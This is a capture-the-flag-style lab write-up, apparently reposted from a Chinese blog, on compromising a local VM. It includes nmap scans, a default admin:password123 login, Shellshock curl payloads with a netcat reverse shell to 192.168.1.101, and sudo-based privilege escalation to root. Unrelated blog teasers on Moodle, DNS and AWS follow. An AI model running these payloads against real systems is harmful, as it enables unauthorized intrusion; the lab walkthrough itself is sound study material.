scanning web

-

 open port scan


shell

sudo nmap -sS -p- -T4 192.168.1.108

scan result


text

PORT   STATE    SERVICE

21/tcp filtered ftp

22/tcp open     ssh

53/tcp filtered domain

80/tcp open     http

MAC Address: 90:78:41:AD:C7:5D (Intel Corporate)

Scan for details


shell

nmap -sV --script=vuln -p22,80 -T4 192.168.1.108

scan result


text

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

| vulners:

|   cpe:/a:openbsd:openssh:7.9p1:

|      EXPLOITPACK:98FE96309F9524B8C84C508837551A19 5.8 https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19 *EXPLOIT*

|      EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97 5.8 https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97 *EXPLOIT*

|      EDB-ID:46516 5.8 https://vulners.com/exploitdb/EDB-ID:46516 *EXPLOIT*

|      EDB-ID:46193 5.8 https://vulners.com/exploitdb/EDB-ID:46193 *EXPLOIT*

|      CVE-2019-6111 5.8 https://vulners.com/cve/CVE-2019-6111

|      1337DAY-ID-32328 5.8 https://vulners.com/zdt/1337DAY-ID-32328 *EXPLOIT*

|      1337DAY-ID-32009 5.8 https://vulners.com/zdt/1337DAY-ID-32009 *EXPLOIT*

|      CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617

|      CVE-2019-16905 4.4 https://vulners.com/cve/CVE-2019-16905

|      CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145

|      CVE-2019-6110 4.0 https://vulners.com/cve/CVE-2019-6110

|      CVE-2019-6109 4.0 https://vulners.com/cve/CVE-2019-6109

|      CVE-2018-20685 2.6 https://vulners.com/cve/CVE-2018-20685

|_    PACKETSTORM:151227 0.0 https://vulners.com/packetstorm/PACKETSTORM:151227 *EXPLOIT*

80/tcp open  http    Apache httpd 2.4.38 ((Debian))

| http-csrf:

| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.108

|   Found the following possible CSRF vulnerabilities:

|

|     Path: http://192.168.1.108:80/

|     Form id:

|     Form action: customer_login_action.php

|

|     Path: http://192.168.1.108:80/home.php

|     Form id:

|     Form action: customer_login_action.php

|

|     Path: http://192.168.1.108:80/customer_login_action.php

|     Form id:

|_    Form action: customer_login_action.php

|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.

|_http-dombased-xss: Couldn't find any DOM based XSS.

|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)

| http-fileupload-exploit:

|

|     Couldn't find a file-type field.

|

|_    Couldn't find a file-type field.

|_http-server-header: Apache/2.4.38 (Debian)

| http-enum:

|   /admin_login.php: Possible admin folder

|_  /images/: Potentially interesting directory w/ listing on 'apache/2.4.38 (debian)'

|_http-phpself-xss: ERROR: Script execution failed (use -d to debug)

| vulners:

|   cpe:/a:apache:http_server:2.4.38:

|      CVE-2019-9517 7.8 https://vulners.com/cve/CVE-2019-9517

|      PACKETSTORM:171631 7.5 https://vulners.com/packetstorm/PACKETSTORM:171631 *EXPLOIT*

|      EDB-ID:51193 7.5 https://vulners.com/exploitdb/EDB-ID:51193 *EXPLOIT*

|      CVE-2023-25690 7.5 https://vulners.com/cve/CVE-2023-25690

|      CVE-2022-31813 7.5 https://vulners.com/cve/CVE-2022-31813

|      CVE-2022-23943 7.5 https://vulners.com/cve/CVE-2022-23943

|      CVE-2022-22720 7.5 https://vulners.com/cve/CVE-2022-22720

|      CVE-2021-44790 7.5 https://vulners.com/cve/CVE-2021-44790

|      CVE-2021-39275 7.5 https://vulners.com/cve/CVE-2021-39275

|      CVE-2021-26691 7.5 https://vulners.com/cve/CVE-2021-26691

|      CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984

|      CNVD-2022-73123 7.5 https://vulners.com/cnvd/CNVD-2022-73123

|      CNVD-2022-03225 7.5 https://vulners.com/cnvd/CNVD-2022-03225

|      CNVD-2021-102386 7.5 https://vulners.com/cnvd/CNVD-2021-102386

|      5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9 7.5 https://vulners.com/githubexploit/5C1BB960-90C1-5EBF-9BEF-F58BFFDFEED9 *EXPLOIT*

|      1337DAY-ID-38427 7.5 https://vulners.com/zdt/1337DAY-ID-38427 *EXPLOIT*

|      1337DAY-ID-34882 7.5 https://vulners.com/zdt/1337DAY-ID-34882 *EXPLOIT*

|      EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB 7.2 https://vulners.com/exploitpack/EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB *EXPLOIT*

|      EDB-ID:46676 7.2 https://vulners.com/exploitdb/EDB-ID:46676 *EXPLOIT*

|      CVE-2019-0211 7.2 https://vulners.com/cve/CVE-2019-0211

|      1337DAY-ID-32502 7.2 https://vulners.com/zdt/1337DAY-ID-32502 *EXPLOIT*

|      FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8 6.8 https://vulners.com/githubexploit/FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8 *EXPLOIT*

|      CVE-2021-40438 6.8 https://vulners.com/cve/CVE-2021-40438

|      CVE-2020-35452 6.8 https://vulners.com/cve/CVE-2020-35452

|      CNVD-2022-03224 6.8 https://vulners.com/cnvd/CNVD-2022-03224

|      8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 6.8 https://vulners.com/githubexploit/8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 *EXPLOIT*

|      4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332 6.8 https://vulners.com/githubexploit/4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332 *EXPLOIT*

|      4373C92A-2755-5538-9C91-0469C995AA9B 6.8 https://vulners.com/githubexploit/4373C92A-2755-5538-9C91-0469C995AA9B *EXPLOIT*

|      0095E929-7573-5E4A-A7FA-F6598A35E8DE 6.8 https://vulners.com/githubexploit/0095E929-7573-5E4A-A7FA-F6598A35E8DE *EXPLOIT*

|      CVE-2022-28615 6.4 https://vulners.com/cve/CVE-2022-28615

|      CVE-2021-44224 6.4 https://vulners.com/cve/CVE-2021-44224

|      CVE-2019-10082 6.4 https://vulners.com/cve/CVE-2019-10082

|      CVE-2019-10097 6.0 https://vulners.com/cve/CVE-2019-10097

|      CVE-2019-0217 6.0 https://vulners.com/cve/CVE-2019-0217

|      CVE-2019-0215 6.0 https://vulners.com/cve/CVE-2019-0215

|      CVE-2022-22721 5.8 https://vulners.com/cve/CVE-2022-22721

|      CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927

|      CVE-2019-10098 5.8 https://vulners.com/cve/CVE-2019-10098

|      1337DAY-ID-33577 5.8 https://vulners.com/zdt/1337DAY-ID-33577 *EXPLOIT*

|      CVE-2022-36760 5.1 https://vulners.com/cve/CVE-2022-36760

|      CVE-2023-27522 5.0 https://vulners.com/cve/CVE-2023-27522

|      CVE-2022-37436 5.0 https://vulners.com/cve/CVE-2022-37436

|      CVE-2022-30556 5.0 https://vulners.com/cve/CVE-2022-30556

|      CVE-2022-29404 5.0 https://vulners.com/cve/CVE-2022-29404

|      CVE-2022-28614 5.0 https://vulners.com/cve/CVE-2022-28614

|      CVE-2022-26377 5.0 https://vulners.com/cve/CVE-2022-26377

|      CVE-2022-22719 5.0 https://vulners.com/cve/CVE-2022-22719

|      CVE-2021-36160 5.0 https://vulners.com/cve/CVE-2021-36160

|      CVE-2021-34798 5.0 https://vulners.com/cve/CVE-2021-34798

|      CVE-2021-33193 5.0 https://vulners.com/cve/CVE-2021-33193

|      CVE-2021-26690 5.0 https://vulners.com/cve/CVE-2021-26690

|      CVE-2020-9490 5.0 https://vulners.com/cve/CVE-2020-9490

|      CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934

|      CVE-2019-17567 5.0 https://vulners.com/cve/CVE-2019-17567

|      CVE-2019-10081 5.0 https://vulners.com/cve/CVE-2019-10081

|      CVE-2019-0220 5.0 https://vulners.com/cve/CVE-2019-0220

|      CVE-2019-0196 5.0 https://vulners.com/cve/CVE-2019-0196

|      CVE-2006-20001 5.0 https://vulners.com/cve/CVE-2006-20001

|      CNVD-2022-73122 5.0 https://vulners.com/cnvd/CNVD-2022-73122

|      CNVD-2022-53584 5.0 https://vulners.com/cnvd/CNVD-2022-53584

|      CNVD-2022-53582 5.0 https://vulners.com/cnvd/CNVD-2022-53582

|      CNVD-2022-03223 5.0 https://vulners.com/cnvd/CNVD-2022-03223

|      CVE-2019-0197 4.9 https://vulners.com/cve/CVE-2019-0197

|      CVE-2020-11993 4.3 https://vulners.com/cve/CVE-2020-11993

|      CVE-2019-10092 4.3 https://vulners.com/cve/CVE-2019-10092

|      4013EC74-B3C1-5D95-938A-54197A58586D 4.3 https://vulners.com/githubexploit/4013EC74-B3C1-5D95-938A-54197A58586D *EXPLOIT*

|      1337DAY-ID-35422 4.3 https://vulners.com/zdt/1337DAY-ID-35422 *EXPLOIT*

|      1337DAY-ID-33575 4.3 https://vulners.com/zdt/1337DAY-ID-33575 *EXPLOIT*

|_    PACKETSTORM:152441 0.0 https://vulners.com/packetstorm/PACKETSTORM:152441 *EXPLOIT*

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 34.96 seconds

Gain a System Foothold

First try to start from port 80 http://192.168.1.108/ Through the detailed scan of nmap, you can see that there is a background address that can be accessed http://192.168.1.108/admin_login.php Try to identify fingerprints but no login page is found Try simple The weak password is invalid, and by the way, hang a directory scan At this time, click home and find that the content returned by home.php and index.php is different http://192.168.1.108/home.php http://192.168.1.108/index .php Is there a hint here? What is it? The search engine search did not find any information that can be used. At this time, the results of scanning the directory also came out. When I checked the source code, I found that there was a cgi-bin comment. There may be a cgi-bin directory in the system and call its directory The following .cgi script Visit http://192.168.1.108/cgi-bin/, the response is 403 and try to scan /cgi-bin/ again to see if you can find scripts like .cgi .sh or other useful Information













@Thor Hammer








shell

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.1.108/cgi-bin/ -x cgi,php,sh

Then scan the homepage again using other directories at the same time


shell

dirsearch -u http://192.168.1.108 -x 404,302,403



Take a look at the results of the directory scan. There is an error in backup.cgi, and it is found that there is a README.md. You can see if this md file will leak some content to us

http://192.168.1.108/README.md . A source code explanation document, and then there is a github address https://github.com/zakee94/online-banking-system/tree/master/net-banking , then you can get the source code, and you can try code audit, but it is a bit time-consuming , You can first check if the default configuration can pick up something. A record with the account password admin:password123 will be inserted into the sql of the station building. Go directly to the background and try to log in, and successfully enter the background http://192.168.1.108/customer_add.php New function points , Just check the code audit to see if there is any SQL injection, but after trying it, I can’t get the Shell, I froze, and I don’t want to spend too much time on the code audit, so I wondered if it failed the code audit and looked for other entrances point. At this time, go back and look at the information. There may be a way to respond to 500 .cgi and 500 .sh. At this time, I remembered that there is a relatively old vulnerability. These files of .cgi.sh may have shell-breaking vulnerabilities that lead to RCE.













Breaking shell vulnerabilities to gain a foothold in the system

nmap comes with shellshock detection


shell

nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.1.108

operation result


text

PORT   STATE SERVICE VERSION

80/tcp open  http    Apache httpd 2.4.38 ((Debian))

|_http-server-header: Apache/2.4.38 (Debian)

| http-shellshock:

|   VULNERABLE:

|   HTTP Shellshock vulnerability

|     State: VULNERABLE (Exploitable)

|     IDs:  CVE:CVE-2014-6271

|       This web application might be affected by the vulnerability known

|       as Shellshock. It seems the server is executing commands injected

|       via malicious HTTP headers.

|

|     Disclosure date: 2014-09-24

|     Exploit results:

|       <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

|   <html><head>

|   <title>500 Internal Server Error</title>

|   </head><body>

|   <h1>Internal Server Error</h1>

|   <p>The server encountered an internal error or

|   misconfiguration and was unable to complete

|   your request.</p>

|   <p>Please contact the server administrator at

|    webmaster@localhost to inform them of the time this error occurred,

|    and the actions you performed just before this error.</p>

|   <p>More information about this error may be available

|   in the server error log.</p>

|   <hr>

|   <address>Apache/2.4.38 (Debian) Server at 192.168.1.108 Port 80</address>

|   </body></html>

|

|     References:

|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169

|       http://www.openwall.com/lists/oss-security/2014/09/24/10

|       http://seclists.org/oss-sec/2014/q3/685

|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 6.43 seconds

shell

nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.1.108

operation result


text

PORT   STATE SERVICE VERSION

80/tcp open  http    Apache httpd 2.4.38 ((Debian))

|_http-server-header: Apache/2.4.38 (Debian)

| http-shellshock:

|   VULNERABLE:

|   HTTP Shellshock vulnerability

|     State: VULNERABLE (Exploitable)

|     IDs:  CVE:CVE-2014-6271

|       This web application might be affected by the vulnerability known

|       as Shellshock. It seems the server is executing commands injected

|       via malicious HTTP headers.

|

|     Disclosure date: 2014-09-24

|     Exploit results:

|       <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

|   <html><head>

|   <title>500 Internal Server Error</title>

|   </head><body>

|   <h1>Internal Server Error</h1>

|   <p>The server encountered an internal error or

|   misconfiguration and was unable to complete

|   your request.</p>

|   <p>Please contact the server administrator at

|    webmaster@localhost to inform them of the time this error occurred,

|    and the actions you performed just before this error.</p>

|   <p>More information about this error may be available

|   in the server error log.</p>

|   <hr>

|   <address>Apache/2.4.38 (Debian) Server at 192.168.1.108 Port 80</address>

|   </body></html>

|

|     References:

|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169

|       http://www.openwall.com/lists/oss-security/2014/09/24/10

|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

|_      http://seclists.org/oss-sec/2014/q3/685


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 6.39 seconds

At this time, I found that both of them can be hit.

Use reference: https://blog.planejun.cn/2022/12/30/Vulhub/CVE-2014-6271(shellshock-breaking shell vulnerability recurrence)/

I am too lazy to open burp here, trouble , I directly use curl to send a package test


shell

curl -H "User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id" http://192.168.1.108/cgi-bin/backup.cgi


The RCE test is successful, and then rebound the shell


shell

curl -H "User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/bash -c 'nc 192.168.1.101 9999  -e /bin/bash'" http://192.168.1.108/cgi-bin/backup.cgi

Get a simple interactive shell


shell

python -c 'import pty; pty.spawn("/bin/bash")'



Escalation of rights

After some inspection, two writable files were found to be suspicious


shell

find / -writable -type f ! -path '/proc/*' 2>/dev/null



I got the suspected Thor password here, and tried to log in directly, but it failed. Let’s look at the previous sudo -lrecord here . We can execute a script under /home/thor as Thor without a password, because we can’t see the content , execute it directly to see the effect



shell

sudo -u thor /home/thor/./hammer.sh


Here we need to enter the secretkey, and then try it with the password seen above. Here, the printed content is entered twice. Will the command be executed? Here, the id is executed, which means that you can get a shell with Thor identity





Lateral to thor user

Through the problems found above, when entering Secret massage, the command will be parsed and executed as thor, and we can get thor's authority, and change it into a simple interactive shell by the way


shell

python -c 'import pty; pty.spawn("/bin/bash")'


I still come to https://gtfobins.github.io/ to find the corresponding method of raising rightssudo -l



sudo service privilege escalation

shell

sudo /usr/sbin/service ../../bin/bash


Successfully escalated to root, the shooting is over!


---------------------


著作权归作者所有。


商业转载请联系作者获得授权，非商业转载请注明出处。


作者：sh1nchan Z


源地址：https://www.cnblogs.com/noobsh1nchan/p/17523016.html


来源：博客园cnblogs


© 版权声明：本文为博主原创文章，转载请附上博文链接！

Comments

Post a Comment

Popular posts from this blog

Moodle Backup and Restore in Docker

-
Backup moodle & mariadb images to a folder First, Run the docker commit container command this is just for copying the container image (where  moodle-moodle-1 &   moodle-mariadb-1   is the name of the constainer try: "docker ps" to look for the name of that container you want to commit ) : # docker commit -p moodle-moodle-1 backup-moodle-moodle-1 # docker commit -p moodle-mariadb-1 backup-moodle-mariadb-1 Alternatively, we can save it as a tar file in any directory and move it freely to any desired docker host system for a deployment: # docker save -o ~/backup-moodle-moodle-1.tar backup-moodle-moodle-1 # docker save -o ~/backup-moodle-mariadb-1.tar backup-moodle-mariadb-1 Backing up Docker volumes to a folder # docker volume ls Secondly , Backup the data in the docker volumes into a compressed file archive and save it to the local directory /tmp or any directory you want (just change only the /tmp to any directory you want) the  mariadb_data, moodle_data, mo...
Read more

Custom Domain to GitHub Pages (Hostinger Edition)

-
Image
Go to your Hostinger domain DNS settings The first step is to go to your Hostinger domain DNS settings. You can do this by visiting  https://hpanel.hostinger.com/domain/yourdomain.com/dns . Create two new CNAME records We need to create two new CNAME records. The first record will point  www.yourdomain.com  to  <your-github-username>.github.io . The second record will point  yourdomain.com  to  <your-github-username>.github.io . Enter Type - CNAME, Name - www, Points to - .github.io, TTL you can leave as default. This is for when someone types  www.yourdomain.com . Then we need the same for APEX domains or when someone just types  yourdomain.com , for this enter another CNAME with Name - @ and Points to .github.io. This will automatically set an ALIAS type and add it to the DNS records.  Add the GitHub Pages IP addresses Finally, we need to add the IP addresses and the txt value(this is obtain in the github/gitlab itself) for...
Read more

Resizing partition in AWS

-
  First lsblk If Using a Standard Partition (No LVM) Resize the partition: sudo growpart /dev/nvme0n1 1 Resize the filesystem: sudo resize2fs /dev/nvme0n1p1 # For ext4 sudo xfs_growfs /dev/nvme0n1p1 # For XFS Step 4: Verify the New Storage df -h You should now see the increased disk space. 🚀
Read more